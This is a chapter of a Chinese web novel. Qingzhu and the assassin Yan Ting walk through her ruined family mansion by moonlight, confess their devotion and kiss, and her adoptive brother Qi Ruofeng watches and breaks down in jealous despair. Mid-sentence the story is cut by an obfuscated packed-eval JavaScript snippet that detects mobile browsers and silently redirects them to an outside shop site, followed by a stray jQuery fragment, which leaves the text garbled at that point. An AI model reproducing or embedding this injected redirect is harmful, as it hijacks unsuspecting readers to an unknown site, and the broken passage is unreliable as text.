诞辰前二天的晚上,正是十五,硕大圆月悬挂空中,而月光如流水,倾洒大地。
万籁俱寂的晚上,没什么人出来行走,除却打更人便就是些谋划人在通宵达旦,紧锣密鼓的准备什么。
章骆对于六皇子魏冉的进都,提起了十二分的精神,多年的政治生涯让他本能觉得新候祝轻与魏冉有什么关联。
可是调查来调查去却都没什么确凿的证据。
三皇子魏冉更是进了都城之后就整天待在皇宫中,陪伴着自己母妃,在皇帝眼皮子底下刷存在感。
就是想查,凭着皇帝疑心的性格,也得掂量掂量自己脑袋够不够结实。
索性,章骆就放松了对这两人的监视,转而将所有注意力都放在了和三皇子魏启筹谋的大事之上。
风平浪静的表面之下,已是无数的刀叉剑戟竖立,准备着倾巢而出。
但不同于章骆的小心翼翼步步为营,青竹在这时候反倒平静的不行。
清理了监视她的暗卫,又寻了自己的人取而代之之后,她趁着夜色与晏霆来到了一处荒废的宅子前。
她二人停在府门前,上下打量着这门,门额上的鎏金大字已经褪色,只能依靠月光勉强辨认,在密集烦乱的蛛丝网后,那四个字。
安定侯府。
青竹望着,脸上显露一点浅薄的笑意:“这四个字,还是皇帝亲自写了赐给我父亲的。”
晏霆在一旁静静听着,并不打断,因为他知道,此刻青竹只是想要倾吐些话语,并不是想要他回答。
青竹上前几步,手抚摸上斑驳的大门,眼神有几分怀念,而后她微微用力,将门推开一条缝隙。
随着吱呀一声刺耳的响声,缝隙越来越大,轻松扯断了白色的蛛丝,惊的在网中央爬着的蜘蛛慌乱逃窜。
两人踏过腐朽的门槛,进了这五年都没人来过的府邸。
记忆里,弯曲折回的走廊,简朴雅致的庭院,都已变成了满眼的荒草,凄凉破败。
可青竹眼神却变得柔软,指着中间已被杂草掩盖的鹅卵石铺就的一条小路,轻声说:“我小时候特别喜欢从那条石子路上跑来跑去。”
晏霆侧目看她。
月光照在她的脸上,像是扑上层珍珠般温润的妆,将她的眉眼映照的温柔,可看着她脸上的淡笑,却只感到心疼,他伸出手握住她的手。
“那我们再去走一次。”晏霆说。
他的手掌大而炙热,瞬间就将青竹那自己都未感受到的寒凉驱逐的一干二净。
青竹表情怔松,慢慢又恢复如常,她回握,十指相扣,拉着他拨开半人高的杂草,去寻那条小石子路。
这看着短短的一条道路却被她们走的很漫长。
不知名的杂草混乱生长,许久没被踏足过的禁地里竟生出了萤火虫这样的生物,随着两人的前行,顿足在叶上的萤火虫飞起,像是漂浮的荧光色星星般围绕在两人的身边。
有几只停留在青竹的发上,活像是为她簪了支星做的簪子一样。
她自己看不到,只有晏霆看到了。
他唇角微翘,眼中闪烁着细碎温柔的光,心中窃喜。
思量着,她这样真好看,等一切平定后,他也要做支这样的簪子给她,亲手为她戴上。
“晏霆,你想听我的事吗?”青竹和他走上了石子路,感受着凸起的鹅卵石硌着脚底的微痛。
晏霆犹豫了下,还是点了点头:“我想知道,但……如果想起那些会让你伤心,不说也可以。”
青竹闻言轻笑出声,抬头轻弹了下他的额头,眼眸弯弯:“你真的很不像杀手。”
她又摸上他的脸:“不过还好,我遇见了你。”
晏霆低垂头与她额头相抵:“我也是,还好遇见了你。”
于是在这样难得静谧的夜晚,青竹将自己的前尘过往全部讲述出来。
她的声音平缓冷静,讲起那些脸上没有什么波澜。
晏霆听的很仔细。
随着她的话语,他想象着,似乎也因着这些,而参与到了她那明媚骄傲的好时光里。
他看见小小少女初长成,旋着身体与刀共舞,脸上没有愁思,笑的灿烂。
看见桃花盛开后,少女动心,脸上飞霞若仙女美丽。
也看见血色片片中,大雪纷飞姑娘满目悲怆,被折了双翼套上枷锁封到笼子里,供人观赏。
他自己活的并不好,可因为就是身处于这样的世道里,从未感受到人心的暖,所以他并不痛苦。
可她不一样,在所有幸福都要到达顶峰的时候,被骤然踹下云端,跌落泥沼,苦苦的独自撑着。
他搂住她的肩膀将她带进自己的怀里:“你愿意讲给我听,我很高兴。”
青竹在他宽阔的胸膛中,听着他的心脏跳动:“这也不是什么秘密,其实只要细细打听就能知道,我并不是一个喜欢自揭伤疤的人,可是你不一样,宴霆。”
这世界上的人形形色色,来来往往都不过是为了虚无缥缈的利,她自以为看惯了人心的丑陋与算计,可这时候,宴霆却出现。
在她满身污秽的时候,说爱上了她,愿意做她的刀刃,甚至不惜放弃自己的生命,不在乎后果也不在乎她是否真心,就这样忠诚而热烈的奉献了自己的一切。
她搂住他的腰,头埋进他的胸膛,声音闷闷的:“后天我不知道能不能成功,但这是一招险棋,如果真的失败,我也给你安排了后路。”
宴霆搂紧了她:“青竹,你知道的,你死我不会自己活着,无论成功与否,我都和你生死相随,不离不弃。”
青竹揪紧了他的衣服:“可我不想你死,我已经辜负了周宣,我不能......”
她没说完,因为青年已经捧住了她的脸,毫无预兆的吻了过来。
呼吸纠缠,唇齿相依间彼此濡沫,萤火虫环绕在她们的周围,月光落在她们的身上。
绵长温柔的一吻过后,宴霆睁开眼,又轻轻在她眼上落下一个蜻蜓点水的吻:“不是辜负,是我自愿,虽然我不喜欢周宣,但他若是活着,也肯定会说是自愿。”
他的手罩在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714799|204416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她的侧脸,拇指抚摸过她的眉眼,低沉的嗓音略带沙哑,语气却坚定:“我没喜欢过什么,无论是吃的还是什么人,若说真的能让我产生一点喜悦的只有杀人,可我现在遇见了你,你让我明白了什么是爱。”
“你就是我的心脏,你没了心脏不跳了,也就没有活着的意义了。”
这就是宴霆的爱。
青竹盯着他看了半天,才张了张嘴:“好。”
月光下的两人身形依偎,像是鸳鸯,如此般配又这样的令人眼睛生疼。
戚若风嗤笑一声,双手紧握成拳,肩膀未曾痊愈的伤口崩裂开来,洇湿了衣服。
他忍住了自己下去的冲动,硬生生的强迫自己挪开了视线,如同一条丧家之犬离开了这里。
回到书房后他砸了所有东西,书架上的书,桌子上的笔墨纸砚,青瓷碎片混在一起,满地的狼藉。
可无论他砸了多少扔了多少,但心中那滔天的妒火悲哀也无法散去。
他的双手鲜血淋漓,眼眸通红的转头看着墙上的那张画像。
画上的人眉目依旧,笑意盈盈。
可此时看来,却像是在嘲笑他的痴心妄想。
他站直身体,踉跄的来到画像前,他盯着她,她似乎也在‘看’他。
恍惚间她从画上动了起来,唇瓣上下动着,猫眸满是讥诮:“活该,这就是你的报应。”
他的胸膛不断的起伏,他猛的伸出手要撕碎它,可就在碰触到她笑的张扬的面庞时,满含戾气的手指又瞬间变成了轻柔的点触,在她眼角落下一滴血样的痣。
他靠近画像,目光由怒转成痴迷,他想起两人依偎接吻的模样,也东施效颦一般凑近画像上的唇。
在青竹还在华春楼的时候,即使缠绵,他和她之间也从没有过亲吻,唇齿相依,从来都是他一个人的迷乱和低微。
他不敢看见她眼中的嫌恶却又想和她融为一体,只能避开她的眼睛。
纵然他最爱看的就是她笑盈盈的望着自己的模样。
现在的画像不会动,她没躲,眼弯如月牙,是他喜欢的模样,他唇瓣蹭着,轻轻吻着,但终究不是人。
画纸没有温度,稍有粗糙,碰到的也只是一片坚硬墙壁。
可他依旧满足,只是闭上的眼睛里流出泪来。
最终他还是没办法自欺欺人,喉咙溢出呜咽声,他的头垂折下去,身体慢慢滑落在地上,他的身体弯曲,头碰着地面。
现在的他像只怪物。
宴霆的爱是付出,周宣的爱是成全,戚若风的爱却是毁灭。
可悲哀的是,从一开始他成为青竹的义兄时,他和青竹之间的可能性就断了,即便不是薛家的养子,他也不可能与青竹有任何的交集。
毁灭的爱换来的也只有毁灭,戚若风清醒的明白。
即便这爱弃之如敝履,被人嫌恶如污泥,但他真的爱青竹。
他颤抖着手掏出怀里那根簪子,把它按在胸口。
那么,最后再恨他一次吧,这样她就永远不会忘记自己了。